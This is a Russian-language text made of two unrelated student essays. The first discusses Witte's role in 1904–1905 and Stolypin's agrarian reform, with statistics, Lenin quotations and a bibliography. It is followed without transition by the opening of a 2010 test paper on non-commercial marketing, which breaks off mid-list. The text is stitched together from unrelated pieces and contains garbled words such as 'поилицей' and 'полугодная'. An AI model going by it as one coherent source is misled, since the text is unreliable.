На протяжении осени 1904 года , получившей в политической истории России парадоксальное название » политическая весна » , » весна Святополк-Мирского » , С. Ю. Витте принял во всех действиях живое и хлопотливое участие , демонстративно поддерживая П. Д. Святополк – Мирского .

12 декабря 1904 года был опубликован императорский указ , предусматривавший осуществление целого ряда реформ . Его положения касались : религиозной терпимости ; свободы слова и реформы законов о печати ; пересмотра трудового законодательства . С. Ю. Витте попытался обернуть его себе на пользу , добившись того , чтобы разработка намеченных в нем мероприятий была поручена комитету министров . С. Ю. Витте опубликовал свою антиобщинную платформу (декабрь 1904 года «Записка по крестьянскому делу») . Рост эффективности сельскохозяйственного производства при низких ценах на его продукцию был важной составной частью виттевской программы индустриализации . Он видел в этом средство и для высвобождения в деревне рабочих рук , которые использовались бы в промышленности , для удешевления труда промышленного пролетариата . Тут-то главным тормозом и оказывалась община , приверженцем которой он был в молодости . С. Ю. Витте стал видеть в общине причину крестьянского оскудения и предмет крайнего поклонения как крайних консерваторов, интриговавших против него у царя , так и социалистов , учения которых были враждебны всему тому , что он отстаивал . Он требовал сделать из крестьянина » персону » путем уравнения крестьян в правах с другими сословиями . Речь шла при этом обо всех правах, в том числе и имущественных , иными словами — о выходе из общины с выделом земли . В общине С. Ю. Витте видел не только препятствие к развитию сельскохозяйственного производства , но и одну из форм революционной угрозы , поскольку она воспитывала пренебрежение к праву собственности . Он утверждал в мемуарах , что видел суть крестьянского вопроса именно в замене общинной собственности на землю – индивидуальной , а не в недостатке земли , а стало быть , и не в том , чтобы провести принудительное отчуждение помещичьих владений .

Однако , все это , по крайней мере , по отношению ко времени пребывания С. Ю. Витте в министерстве финансов , было до некоторой степени запоздалым остроумием .

Кроме отмены в 1903 году круговой поруки за внесение прямых налогов , С. Ю. Витте мало , что сделал на министерском посту против общины . Но в Совещании о нуждах сельскохозяйственной промышленности под председательством С. Ю. Витте общине был нанесен сильный удар , впрочем , чисто теоретический . С. Ю. Витте считал , что если бы Совещанию дали окончить работу , то многое , что потом произошло , было бы устранено . Крестьянство, вероятно , не было бы так взбаламучено революцией , как оно оказалось.

Меж тем приближался январь 1905года , и уже шла русско-японская война. Поражения в Манчжурии снова продемонстрировали слабость власти . Либералы сочли , что за проигранную войну царизм вынужден будет , как и в 1861 году , заплатить реформами . Чтобы добиться этих реформ , и в первую очередь конституции , они не только усилили пропаганду в земских и интеллигентских кругах , но и решились на попытку скоординировать действия с революционерами .

События » Кровавого воскресенья » произвели коренной переворот в мышлении рабочих масс , на которые до этого времени весьма слабо действовала направленная на них пропаганда . Генерал Трепов и те , кто позволил ему совершить этот безумный акт , разорвали те духовные узы , которые связывали царя и простых рабочих . 17 января 1905 года Николай II , обращавшийся за советом к С. Ю. Витте и другим министрам , приказал ему составить из них совещание по » мерам , необходимым для успокоения страны » , и о возможных реформах , сверх предусмотренных указом от 12 декабря 1904 года .

18 февраля 1905 года — весьма знаменательный день . Были одновременно опубликованы три в высшей степени важных документа : Манифест Николая II , обращенный с призывом ко всем » истин но русским людям » объединиться вокруг трона и дать отпор тем , кто хочет подорвать древние основы самодержавия ; Рескрипт новому министру внутренних дел А. Г. Булыгину раз работать » совещательный » статус Думы ( П. Д. Святополк — Мирский сразу после » Кровавого воскресенья » ушел в отставку ) ; Указ сенату , предписывающий принимать к рассмотрению прошения , врученные или направленные ему из различных слоев населения .

Манифест вдохнул жизнь в крайне правое движение , которое долгое время влачило жалкое существование и которое спустя восемь месяцев оформилось в виде » Союза русского народа » .

21 марта Совет министров , собравшись под предводительством Сольского, не без строгости осудил указ от 18 февраля 1905года . Царя как бы обвинили в либерализме . Активное участие С. Ю. Витте в том заседании не осталось без последствий — царь закрыл возглавлявшееся С. Ю. Витте сельскохозяйственное совещание и совещание министров ( по » объединенному » правительству ) . С. Ю. Витте снова оказался не у дел , но пробыл в тени недолго.

В это время приближалась развязка русско-японской войны . После Цусимы поиски пути прекращения войны с Японией снова вывели полуопального сановника на передний план ( май 1905 года ) . 24 мая 1905 года на совещании при Совете министров С. Ю. Витте заявил , что » дипломатическая партия проиграна » , и неизвестно , какой мирный договор удастся , заключить министру иностранных дел . А через месяц ( хотя это решение далось царю нелегко ) вести переговоры о мире было поручено С. Ю. Витте .

Недюжинная одаренность , государственная опытность , широта взглядов и умение ориентироваться в чуждых российскому бюрократу американских политических правах помогли С. Ю. Витте в переговорах о мире с Японией . Соглашение с Японией , которого С. Ю. Витте добился для России не носило унизительного характера и не предусматривало никаких крупных уступок . 15 сентября 1905 года С. Ю. Витте вернулся в Петербург . Он получил за Портсмутский договор графский титул .

Именно осенью 1905 года ( в октябре ) впервые обсуждалась на совещании С. Ю. Витте с » общественными деятелями » кандидатура Столыпина на пост министра внутренних дел . С этого периода они находились на политической арене одновременно .

Реформы П. А. Столыпина : сущность , противоречия , результаты и назначение .

Петр Аркадьевич Столыпин ( 1862 – 1911 ) происходил из старинного дворянского рода известному с XVI века . Детство и раннюю юность он провел в основном в Литве . П. А. Столыпин окончил Виленскую гимназию и в 1881 году поступил на физико-математический факультет Петербургского университета . Помимо физики и математики , на факультете преподавали химию , геологию , ботанику , зоологию , агрономию . Именно последние науки привлекали П. А. Столыпина . Он никогда не имел недоразумений с поилицей , по окончании университета в 1885 году избрал чиновничью карьеру , поступив на службу в Министерство государственных имуществ , в 1888 году получил звание камер-юнкера и впервые попал в адрес – календарь . К тому времени он в скромном чине коллежского секретаря занимал должность помощника столоначальника . Служба в Министерстве государственных имуществ была рутинной , и в 1889 году П. А. Столыпин перешел в Министерство внутренних дел . В то же время он стал ковенским уездным предводителем дворянства . В 1899 году Столыпин стал ковенским губернским предводителем дворянства , а в 1902 году был назначен гродненским губернатором . Его выдвинул в то время министр внутренних дел В. К. Плеве .

В это время были созваны местные комитеты о нуждах сельскохозяйственной промышленности , и на заседаниях Гродненского комитета будущий премьер впервые публично изложил свои взгляды . Они в основном сводились к уничтожению крестьянской чересполосицы и расселению на хутора . При этом П. А. Столыпин подчеркивал : » Ставить в зависимость от доброй воли крестьян момент ожидаемой реформы , рассчитывать , что при подъеме умственного развития населения , которое настанет неизвестно когда , жгучие вопросы разрешаться сами собой , это значит отложить на неопределенное время проведение тех мероприятий , без которых немыслима ни культура , ни подъем доходности земли , ни спокойное владение земельной собственностью » . Иными словами , народ темен , пользы своей не разумеет , а потому следует улучшать его быт , не спрашивая его мнения . Это убеждение П. А. Столыпин пронес через всю свою государственную деятельность .

Роспуск 8 июля 1906 года Думы стал вызовом общественному мнению . Теперь царский двор решил , чтобы » потрафить » либералам , заменить непопулярного Горемыкина не столь одиозной фигурой . Председателем Совета министров стал П. А. Столыпин , сохранивший за собой и портфель министра внутренних дел .

Приход на пост председателя Совета министров П. А. Столыпина вызвал у С. Ю. Витте на первых порах одобрение и надежды на успех переговоров о вхождении либеральной оппозиции в кабинет . По деятельности П. А. Столыпина, С. Ю. Витте был о нем хорошего мнения .

Руководители Совета объединенного дворянства видели в П. А. Столыпине человека, способного спасти от уничтожения систему землевладения . Октябристы и другие умеренные сторонники конституции , напуганные революционными крайностями , ухватились за П. А. Столыпина , как утопающий хватается за соломинку . Они приветствовали его программу , видя в ней стремление укрепить связи правительства с представителями умеренно-либеральных и умеренно-консервативных кругов , что , в свою очередь , способствовало бы укреплению конституционной монархии и окончательной ликвидации революционного движения .

Роспуск первой Думы — это был смертельный удар по вере крестьянства в царя как справедливого и беспристрастного защитника интересов народа . После роспуска I Думы и принятия бывшими членами Думы » Выборгского воззвания » , призвавшего население к » пассивному сопротивлению » путем отказа от уплаты налогов и от службы в армии , по городам и сельским районам , а также в армии прокатилась новая волна революционных возмущений.

В намерения П. А. Столыпина не входило ни восстановление абсолютизма, ни уничтожение народного представительства — он стремился лишь к установлению в России консервативной , но строго конституционной монархии . Его мечтой была могучая , централизованная империя , экономически здоровая и культурно развитая . » Вы хотите великих перемен , — сказал П. А. Столыпин , обращаясь к левому , наполовину социалистическому большинству II Думы , — а я хочу великую Россию . » Именно эта утопическая мечта бросила страну в океан новых потрясений , ибо фатальная ошибка П. А. Столыпина заключалась в его непонимании реального положения России , когда высшее сословие , которое еще не сформировалось , как единая сила , не могло стать посредником в отношениях между правящим меньшинством и трудящимися массами . Правда , быстрое развитие городов и промышленности вело к тому, что городское » третье сословие » начинало играть определенную роль в социальной и экономической жизни страны .

В деревне же такой социальной страты не было . Выборы в I Думу показали , что крестьяне не способны были играть роль социально консервативного класса . В то же время частная собственность дворян на землю практически изжила себя .

Эта система стала настолько экономически неэффективной , что ее доля в общем производстве не составляла и десяти процентов . Хотели они того или нет , но и правительство и консерваторы были вынуждены в конце концов принять факт естественного упадка землевладельческого дворянства . После роспуска I Думы решение земельной проблемы перешло в руки П. А. Столыпина .

П. А. Столыпин имел твердые взгляды относительно общины , хуторов , отрубов и путей их насаждения , что составило стержень его аграрной программы . Кроме того , он был сторонником серьезных мер по распространению начального образования . Оказавшись во главе правительства , он затребовал из всех ведомств те первоочередные проекты , которые давно были разработаны , но лежали без движения . В итоге П. А. Столыпину удалось составить целостную программу умеренных преобразований . 24 августа 1906 года правительство опубликовало декларацию , в которой пыталось оправдать свою политику массовых репрессий и возвещало о намерении провести важные социально-политические реформы . Подробнее преобразовательная программа была изложена П. А. Столыпиным во II Думе 6 марта 1907 года .

Некоторые мероприятия правительство начало проводить в спешном порядке , не дожидаясь созыва Думы. 27 августа 1906года был принят указ о передаче Крестьянскому банку для продажи крестьянам части государственных земель . 5 октября последовал указ об отмене некоторых ограничений крестьян в правах , чем были окончательно отменены подушная подать и круговая порука , сняты некоторые ограничения свободы передвижения крестьян и избрания ими места жительства , отменен закон против семейных разделов , сделана попытка уменьшить произвол земских начальников , расширены права крестьян на земских выборах . Указ 17 октября 1906 года конкретизировал принятый в 1905 году по инициативе С. Ю. Витте указ о свободе вероисповедания , определив права и обязанности старообрядческих и сектантских общин . Представители официальной церкви никогда не простили П. А. Столыпину того , что старообрядцы получили такой устав в то время как соответствующее положение о православном приходе застряло в канцеляриях . 9 ноября 1906 года был издан указ » О дополнении некоторых постановлений действующего закона , касающихся крестьянского землевладения и землепользования «.

Переработанный в III Думе , он стал действовать как закон от 14 июня 1910 года . 29 мая 1911 года был принят закон » О землеустройстве «. Последние три акта составили юридическую основу мероприятий , вошедших в историю как » столыпинская аграрная реформа «.

Экономическая целесообразность этой реформы , названной столыпинской, хотя ее проект был разработан еще до него , не вызывает сомнений . Реформа довершала то , что нужно было сделать еще в 1861 году . В реформе были заложены идеи Валуева , Барятинского, Бунге и др. (это еще XIX веке) . В начале XX века С. Ю.Витте считал , что выход из общины может быть только добровольным , поэтому результат еще будет виден очень и очень не скоро . Еще весной 1905 года Кривошеин А. В. ( министр земледелия в правительстве П. А. Столыпина ) предупреждал , что очень нужный переход к хуторам и отрубам — » задача нескольких поколений «.

Но между всеми прежними заявлениями и указом 9 ноября лежали события 1905-1906 годов . Расселить крестьян хуторами и мелкими поселками требовалось не только по экономическим , но и по политическим причинам . » Дикая , полугодная деревня , не привыкшая уважать ни свою , ни чужую собственность , не боящаяся , действуя миром , никакой ответственности , подчеркивал П. А. Столыпин , — всегда будет представлять собой горючий материал , готовый вспыхнуть по каждому поводу «. И царизм , ощутив сполна эту угрозу , стал крушить общину .

Экономическая реформа была целесообразна , больше того , до зарезу необходима . В случае удачи она сулила тем , кто к ней приспособился , более интенсивные формы хозяйствования , более высокие урожаи , более высокий уровень жизни . Она сулила прочный внутренний рынок для промышленности , увеличение хлебного экспорта и за его счет — погашение огромного внешнего долга . Но все это — в случае удачи .

Между тем реформа уже задумана была неудачно . П. А. Столыпин торопился , подгонял экономические процессы полицейским вмешательством . А вражда и насилие — плохие союзники в делах экономики .

В руках П. А. Столыпина , а точнее в руках » Совета объединенного дворянства » , который поддерживал его , земельная реформа , хотя и имела здоровую основу , но по сути дела превращалась в орудие дальнейшего классового угнетения . Вместо того чтобы содействовать развитию свободного фермерства , за что ратовал С. Ю. Витте , положить конец принудительному характеру общинной системы и законам , ущемляющим гражданские права крестьян , столыпинский закон насильственно ликвидировал общину в интересах крестьянского » буржуазного » меньшинства .

По традиции , восходящей к ленинским работам , демократический путь аграрного развития условно называется американским , консервативный – прусским .

Столыпинская аграрная реформа находилась на прусском варианте . Она и была задумана во спасение помещиков . П. А. Столыпин сделал разрушение общины первоочередной задачей своей реформы . Предполагалось , что первый этап чересполосное укрепление наделов отдельными домохозяевами нарушит единство крестьянского мира . Крестьяне , имевшие земельные излишки против нормы , должны были поспешить с укреплением своих наделов . П. А. Столыпин говорил , что таким способом он хочет » вбить клин » в общину . После этого предполагалось приступить ко второму этапу — разбивка деревенского надела на отруба или хутора . Последние считались наиболее удобной формой землевладения , ибо крестьянам , рассосредоточенным по хуторам трудно было бы поднимать мятежи .

Что же должно было появиться на месте общины — узкий слой сельских капиталистов или широкие массы процветающих фермеров . Не предполагалось ни того , ни другого . Первого не хотело само правительство . Сосредоточение земли в руках кулаков должно было разорить массу крестьян . Не имея средств пропитания , они хлынули бы в город . Промышленность , до 1910 года пребывавшая в депрессии , не смогла бы справиться с наплывом рабочей силы в таких масштабах , а наличие массы бездомных и безработных грозило новыми социальными потрясениями . Поэтому правительство дополнило указ , воспретив скупать в пределах одного уезда более шести высших душевых наделов , определенных по реформе 1861 года . По разным губерниям этот предел колебался в размерах от 12 до 18 десятин . Установленный для » крепких хозяев » потолок оказался низким .

Что касается превращения нищего российского крестьянства в » процветающее фермерство » , то такая возможность исключалась вследствие сохранения помещичьих латифундий . Переселение в Сибирь и продажа земель через Крестьянский банк тоже не решали проблему крестьянского малоземелья .

Результатом такой реформы могло стать полное и окончательное утверждение в России помещичье — кулацкого «прусского» типа капитализма и пауперизация большей части сельского населения . Капитализму потребовались бы многие десятилетия для переработки всей этой социальной среды , крайне слабой в производственном и культурном отношении , пораженной аграрным перенаселением .

В реальной жизни из общины выходила в основном беднота , а также некоторые горожане , вспомнившие , что в недавно покинутой деревне у них есть надел , который можно теперь продать . В 1914 году было продано 60 процентов площадей укрепленных в том году земель . Покупателем земли иногда оказывалось крестьянское общество , и тогда они возвращались в мирской котел . Чаще покупали землю зажиточные крестьяне , которые сами не всегда спешили с выходом из общины . Покупали и другие общинники . В руках одного и того же хозяина оказывались земли и укрепленные , и общественные , что запутывало поземельные отношения . Поскольку столыпинская реформа в целом не разрешила аграрного вопроса и земельное утеснение возрастало , неизбежной была новая волна переделов , которая должна была смести многое из столыпинского наследия .

И действительно , земельные переделы , в разгар реформы почти прекратившиеся , с 1912 году возобновились . На хутора и отруба тоже далеко не всегда выходили » крепкие мужики «. Землеустроительные комиссии предпочитали не возиться с отдельными домохозяевами , а разбивать на хутора или отруба все селение . Чтобы добиться от крестьян согласия на разбивку , власти прибегали к бесцеремонным мерам давления . Крестьянин же сопротивлялся не по » темноте своей » , как считали власти , а исходя из здравых житейских соображений . Крестьянское земледелие очень зависело от капризов погоды . Имея полосы в разных местах , крестьянин обеспечивал себе ежегодный средний урожай : в засушливый год выручали полосы в низинах , в дождливый — на взгорках .

Получив весь надел в одном отрубе , крестьянин оказывался во власти стихии . Хутора и отруба вообще не обеспечивали подъема агрокультуры , преимущество их перед чересполосной системой хозяйства не доказано . Между тем хутора и отруба считались тогда единственным , причем универсальным средством повышения крестьянской агрокультуры . А альтернативные средства , выдвинутые самой жизнью , подавлялись . Реформа затормозила начавшийся с конца XIX века переход сельского общества от устарелой трехпольной системы к многопольным севооборотам .

Задерживался и переход на » широкие полосы » , при помощи которых крестьяне боролись с чрезмерной » узкополосицей «. В большинстве своем крестьяне заняли неблагожелательную и даже враждебную позицию в отношении столыпинской реформы , руководствуясь двумя соображениями . Во-первых , и это самое главное , крестьяне не хотели идти против общины , а столыпинская идея о » поддержке сильных » противоречила взгляду крестьянина на жизнь . Он не желал превращаться в полусобственника земли за счет своих соседей . Во-вторых , более свободная политическая атмосфера , возникшая после манифеста 17 октября , открывала перед крестьянством новые возможности экономического развития с помощью кооперативной системы , что более соответствовало интересам крестьянства .

Сельскохозяйственная абстрактность замысла столыпинской аграрной реформы в значительной мере объяснялась , кроме других причин , тем, что ее разрабатывали люди , недостаточно хорошо знавшие деревню .

Несмотря на старания правительства , хутора приживались только в некоторых западных губерниях , включая Псковскую . Отруба , как оказалось , более подошли для губерний северного Причерноморья , Северного Кавказа и степного Заволжья .

Отсутствие сильных общинных традиций там сочеталось с высшим уровнем развития аграрного капитализма , исключительным плодородием почвы , ее однородностью на больших просторах и низким уровнем агрокультуры . В этих условиях переход на отруба прошел безболезненно и быстро принес производственную пользу .

П. А. Столыпин очень гордился своей ролью земельного реформатора . Он даже пригласил зарубежных специалистов по аграрному вопросу , чтобы они изучили работу , проделанную им и его правительством в деревне . За 5 лет , с 1907 по 1911года система крестьянского землепользования претерпела значительные изменения .

Немецкий эксперт по аграрному вопросу профессор Ауфхаген позже писал: » Своей земельной реформой П. А. Столыпин разжег в деревне пламя гражданской войны . » К 1 января 1916 года из общины в чересполосное укрепление вышло 2 миллиона домохозяев . Им принадлежало 14,1 миллиона десятин земли . 469 тысяч домохозяев получили удостоверительные акты на 2,8 миллиона десятин , 1,3 миллиона домохозяев перешли к хуторскому и отрубному владению ( 12,7 миллиона десятин ) . Эти цифры нельзя механически складывать , так как некоторые домохозяева , укрепив наделы , выходили потом на хутора и отруба , а другие шли на хутора и отруба сразу , без промежуточной стадии . По подсчетам ленинградского историка В. С. Дякина , всего из общины вышло около 3 миллиона домохозяев , что составляет примерно 1/3 от общей их численности в тех губерниях , где проводилась реформа . Но некоторые из выселенцев фактически давно уже не были домохозяевами , так как постоянно жили в городе , а укрепили свой заброшенный надел только для того , чтобы его продать . Другие домохозяева ( около 16 процентов ) , продав укрепленный надел , переселились в Сибирь . Из общественного оборота было изъято 22 процентов земель . Значительная их часть пошла в продажу . Иногда землю покупало сельское общество, и она возвращалась в мирской котел .

Бывало , что » мироеды » скупали чересполосные наделы и отдавали их в аренду крестьянам – общинникам . Но последние и сами покупали землю . Владея общинным наделом они , случалось , имели и несколько » укрепленных » полос . Все запутывалось и все получалось совсем не так , как задумало правительство . Главное же , властям не удалось ни разрушить общину , ни создать устойчивый и достаточно массовый слой крестьян – собственников . Так что можно говорить об общей неудаче столыпинской аграрной реформы.

Одним из вспомогательных средств реформы , ее частью , было переселение . Оно заслуживает положительной оценки , несмотря на все огрехи и недочеты . Переселялась в основном беднота . Всего за 1906-1916 годов за Урал перебралось более 3 миллиона человек , более полумиллиона вернулось назад . Но , несмотря на всю масштабность переселенческого движения , оно не перекрывало естественный прирост крестьянского населения . Земельное утеснение в деревне возрастало , аграрный вопрос продолжал обостряться .

Оценки реформы В. И. Лениным уточнялись по мере того , как она разворачивалась и становились более зримы ее перспективы . В 1907 году В. И. Ленин подчеркивал , что нельзя недооценивать это правительственное мероприятие , что » это вовсе не мираж. , -это — реальность экономического прогресса на почве сохранения помещичьей власти и помещичьих интересов . Это путь невероятно медленный и невероятно мучительный для самых широких масс крестьянства и для пролетариата , но этот путь есть единственно возможный путь для капиталистической России , если не победит крестьянская аграрная революция «. Внимательно наблюдая за обстановкой в России, В. И. Ленин уже в 1911 году подчеркивал , что столыпинский план буржуазного аграрного строя » не вытанцовывается » . А в начале 1912 года В. И. Ленин пришел к выводу о бесперспективности столыпинской реформы : » настоящая голодовка лишний раз подтверждает неуспех правительственной аграрной политики и невозможность обеспечить сколько — нибудь нормальное буржуазное развитие России при направлении ее политики вообще и земельной политики в частности классом крепостников – помещиков , царящих в виде правых партий , и в III Думе и а Государственном совете и в придворных сферах Николая II. » .

Главный урок столыпинской аграрной реформы , по словам В. И. Ленина , состоял в следующем : » Только сами крестьяне могут решить какая форма землепользования и землевладения удобнее в той или иной местности . Всякое вмешательство закона или администрации в свободное распоряжение крестьян землей есть остаток крепостного права . Ничего , кроме вреда для дела , кроме унижения и оскорбления крестьянина от такого вмешательства быть не может «. В качестве аргумента в пользу реформы иногда приводится тот факт , что по сравнению с последним пятилетием XIX века в 1909 — 1913 годов вывоз хлеба количественно увеличился в 1,5 раза , а по стоимости — в 2 раза . В 1913году Россия экспортировала 647,6 миллионов пудов .

После окончания революции и до начала первой мировой войны положение в русской деревне заметно улучшилось . Причинами этому послужили :

— полная отмена с 1907 года выкупных платежей ;

— рост мировых цен на зерно — от этого кое — что перепадало и простым крестьянам ;

— постепенное сокращение помещичьего землевладения вело к уменьшению кабальных форм эксплуатации ;

— отсутствие в этот период сильных неурожаев (за исключением 1911 года), и даже особенно хорошие урожаи в 1912 — 1913 годах.

Что касается аграрной реформы , то это была настолько широкомасштабная реформа , потребовавшая столь значительной земельной перетряски , что ее положительные результаты никак не могли сказаться в первые же годы .

На душу населения России в те годы производилось столько же хлеба , как в Швеции , Франции , Германии . Но эти страны ввозили хлеб , а России ежегодно экспортировала около 20 процентов валового сбора зерна . Продолжалась политика » недоедим , но вывезем » , начало которой было положено в 1887 — 1892 годах .

Так же под руководством П. А. Столыпина была составлена программа реформ , включавшая в себя переустройство местного самоуправления и суда, введение социального страхования для рабочих, распространение земских учреждений на окраины страны , вероисповедные реформы , переход к всеобщему начальному образованию . В своей совокупности они имели бы большее значение , чем аграрная реформа.

Осуществилось из этих реформ немногое : страхование от несчастных случаев , реформа местного суда , кроме того , ввели земство в некоторых регионах . Все остальные реформы еще при жизни П. А. Столыпина застряли в Государственном совете — верхней палате российского парламента , а после его смерти они были провалены .

Сразу же после окончания революции 1905-1907 годов события приняли совсем не тот оборот , на который рассчитывал П. А. Столыпин . Революция разоблачила царский строй , оттолкнула от него почти все классы . И только класс помещиков в своем огромном большинстве оставался на стороне правящего режима , только на него этот режим мог с уверенностью опереться .

Соответственно возросла зависимость правительства от настроений помещиков . А последние быстро опомнились от страха и решили , что жизнь вошла в прежнюю колею и ничего не нужно в ней менять . Именно помещики развернули шумную кампанию против местных реформ , увидев в них покушение на свои вековые привилегии . Бюрократы старого закала тоже не были довольны столыпинскими нововведениями . С другой стороны , в придворных верхах укрепились реставраторские настроения, разрабатывались разные проекты , имевшие целью ликвидацию Думы , а П. А. Столыпин считал , что они обернутся » злостной провокацией и началом новой революции «. Клерикалы были недовольны столыпинской политикой веротерпимости и с подозрением относились к проекту введения всеобщего начального образования , ибо в нем упор делался на развитие светской школы . Наконец , и сам царь начинал тяготиться П. А. Столыпиным , считая , что он узурпирует его власть . Против П. А. Столыпина создалась мощная коалиция . Это классический пример того , как официальное правительство захлестывает реакционная волна .

П. А. Столыпин в последний год своей жизни работал над проектом обширных государственных преобразований . Но после его смерти все бумаги , связанные с проектом , исчезли , и долгое время столыпинский проект был окутан пеленой таинственности .

Список литературы

Вальченко И. Д. « Столыпинская аграрная реформа ( мифы и реальность ) » — История СССР , 1991 г. — №2

Зырянов П. Н. « История России » — М., « Антиква » , 1996 г.

Верт Н. « История советского государства 1900 – 1991 » — М., 1992 г.

Островский И. В. « П. А. Столыпин и его время » — Новосибирск , 1992г.

Ш. М. Мунчаев , В. М. Устинов « История России » -М., « Норма – Инфра » 1998 г.

Рыба С., Тараканова А. « Реформатор : жизнь и смерть Петра Столыпина » — М., 1991 г.

Реферат: Некоммерческий маркетинг

Московский государственный университет

путей сообщения

МИИТ

Поволжский филиал

КОНТРОЛЬНАЯ РАБОТА

по маркетингу

на тему:

«Некоммерческий маркетинг»

Выполнила

студентка 3 курса

Родионова У.В.

Шифр 0730-п/Э-1079

Саратов 2010

Оглавление

Введение

1. Особенности некоммерческого маркетинга

2. Виды некоммерческого маркетинга

3. Управление имиджем организации

Заключение

Задание

Список использованной литературы

Введение

Человеческая деятельность в современном обществе очень разнообразна и многогранна. Одной из главных движущих сил многих видов деятельности служит обмен. В зависимости от характера обмена человеческую деятельность можно разделить на две крупные сферы: коммерческую и некоммерческую.

В первом случае произведенный продукт обменивается на другие товары, услуги или деньги. Такая деятельность осуществляется производителями (продавцами) с целью получения прибыли, которую можно назвать экономическим эффектом.

Во втором случае некий специфический продукт (например, идея, концепция или программа) обменивается на позитивную ответную реакцию потребителя, его время, физические силы, интеллектуальные усилия, необходимые для потребления продукта. Целью такой деятельности является представление пользы, выгоды, создаваемой для общества в целом либо для отдельных групп населения. Эта польза называется социальным эффектом.

Социальный эффект — это результат деятельности субъекта, не связанный с получением прибыли и направленный на благо общества в целом или отдельных групп населения.

Некоммерческий маркетинг представляет собой некоммерческую составляющую маркетинговой деятельности некоммерческих субъектов. Эта деятельность направлена на достижение целей, связанных с созданием и максимизацией социального эффекта.

1. Особенности некоммерческого маркетинга

Существование маркетинга насчитывает несколько десятков лет (известны и более оптимистичные оценки). Он возник благодаря стремлению предпринимателей максимально эффективно вести бизнес в конкурентной среде под воздействием реальных факторов внешнего окружения. Многолетняя практика предпринимательства убедительно доказала возможность этого.

Рядом с коммерческой сосуществует некоммерческая сфера человеческой деятельности. Здесь не создаются материальные блага, но возникают иные, не менее значимые и важные для общества ценности. В некоммерческой сфере удовлетворяются такие первостепенные социальные потребности, как потребность людей в управлении государством (через соответствующие институты демократии), в обороне и безопасности, в бесплатных медицине и образовании, в вероисповедании и т.д.

Именно от результатов деятельности органов государственной власти и управления, силовых структур, некоммерческой медицины и образования, органов соцобеспечения, благотворительных организаций зависит безопасное и достойное существование членов общества, в том числе пенсионеров, инвалидов, больных и малоимущих; результаты борьбы со СПИДом, наркоманией, международным терроризмом.

Вся человеческая деятельность, происходящая как в коммерческой, так и в некоммерческой сферах, в конечном счете, нацелена на обеспечение выживаемости общества в конкретных сложившихся условиях. Очень значительная, а зачастую и решающая роль при этом принадлежит субъектам некоммерческой сферы.

Некоммерческий маркетинг осуществляется организациями и отдельными лицами, которые действуют в общественных интересах, выступают за какую-либо идею и не стремятся к получению финансовых прибылей.

Его можно анализировать, сравнивая с маркетингом, ориентированным на получение прибылей, рассматривая систему классификации и его роль в народном хозяйстве. Важно понимать, что существуют как сходство, так и различия коммерческого и некоммерческого маркетинга. Для некоммерческих организаций особенно важны маркетинговые подходы.

Потребители могут выбирать между предложениями различных организаций. Преимущества, предлагаемые конкурирующими организациями, различаются. Потребительские сегменты могут иметь различные мотивы и критерии для своего выбора. Потребители могут испытывать либо удовлетворение, либо неудовлетворение.

К особенностям некоммерческого маркетинга можно отнести следующее:

1. Некоммерческий маркетинг связан с организациями, территориями и идеями, а также с товарами и услугами.

2. Происходит обмен голосов за лучшую власть или лучшее обслуживание, за снижение роста расходов.

3. Более сложные цели маркетинга, поскольку успех или неудача не может измеряться с чисто финансовых позиций.

4. Преимущества некоммерческого маркетинга часто не связаны с оплатой услуг и товаров потребителями.

5. От некоммерческих организаций могут ожидать или требовать обслуживания экономически невыгодных (!) сегментов рынка.

Некоммерческие организации обычно имеют две категории клиентов. Это потребители и те, кто финансирует деятельность таких организаций, — органы власти или спонсоры.

Некоммерческие организации могут не получать доходов от повседневной деятельности, а опираться на периодические усилия по сбору средств. Кроме того, удачная маркетинговая кампания может приводить даже к денежным потерям, если услуги или товары предоставляются ниже себестоимости. Необходимо, чтобы бюджеты были достаточно большими для обслуживания ожидаемого числа клиентов, чтобы никто не сталкивался с плохим обращением или отказом.

Цели, как уже отмечалось, могут быть сложными, поскольку успех или неудачу нельзя измерить в финансовых категориях. Некоммерческая организация может иметь следующее сочетание целей: получить 3 млн. руб. бюджетного финансирования и 5 млн. руб. от частных лиц — спонсоров, увеличить число клиентов, найти лечение болезни, изменить отношение общественности. Цели должны определять количество клиентов, которых нужно обслужить, объем оказываемых услуг, их качество.

От некоммерческих организаций часто ожидают или даже требуют обслуживания рыночных сегментов, которые коммерческие организации считают невыгодными. Это может создавать преимущества для коммерческих фирм, поскольку они могут концентрировать свои усилия на наиболее прибыльных сегментах рынка.

Существуют три обстоятельства, обуславливающие отличие некоммерческого маркетинга от классического.

Во-первых, некоммерческий маркетинг охватывает очень широкий круг областей человеческой деятельности, значительно более широкий, чем производство и продвижение товаров и услуг. К этим областям относятся:

— политика;

— государственное управление;

— оборона и безопасность;

— образование;

— религия;

— наука;

— искусство и культура;

— спорт;

— благотворительность и т.д.

Общественная значимость этих сфер деятельности нисколько не меньшая, чем значимость материального производства и торговли.

Во-вторых, некоммерческий маркетинг способствует более полному и эффективному удовлетворению таких первостепенных и жизненно важных потребностей членов общества, как:

— потребность в самоосознании и самореализации личности;

— потребность в реализации гражданских прав и свобод;

— потребность в участии в управлении государством;

— потребность в безопасности;

— потребность в здравоохранении;

— потребность в образовании;

— потребность в социальных, культурных и художественных ценностях и др.

В-третьих, некоммерческий маркетинг способствует решению проблемы установления взаимосвязей между интересами различных групп некоммерческих субъектов: государственных, негосударственных и физических лиц, занимающихся некоммерческой деятельностью. Например, интересы правительства, церкви, фонда «Анти-СПИД», общественных деятелей и видных ученых, артистов пересекаются в процессе реализации программы борьбы со СПИДом.

Эти три обстоятельства и определяют особую общественную значимость некоммерческого маркетинга и необходимость адаптации основных понятий классического маркетинга к деятельности в некоммерческой сфере.

Социальный эффект — это результат деятельности субъекта рынка, не связанный с получением прибыли и направленный на благо общества в целом или отдельных групп населения.

В различных областях некоммерческой деятельности социальный эффект может проявляться по-разному. Например, деятельность политических партий и движений в предвыборный период направлена на создание некоммерческих продуктов — кандидатов, их предвыборных программ, их имиджа. Ответная реакция избирателей (потребителей) на эти продукты выразится в количестве голосов, отданных в процессе выборов за каждого кандидата. Социальный эффект измеряется той пользой, которую избранные кандидаты способны принести избирателям в процессе своей деятельности.

Некоммерческое высшее учебное заведение, привлекающее абитуриентов, предлагает в качестве своих продуктов учебные специальности, специализации, программы и образовательные услуги. Ответная реакция абитуриентов (потребителей) выразится в количестве поданных заявлений, а социальный эффект — в количестве выпущенных специалистов, необходимых для общества.

2. Виды некоммерческого маркетинга

Некоммерческий маркетинг можно разделить на три вида:

— маркетинг государственных некоммерческих субъектов;

— маркетинг негосударственных некоммерческих субъектов;

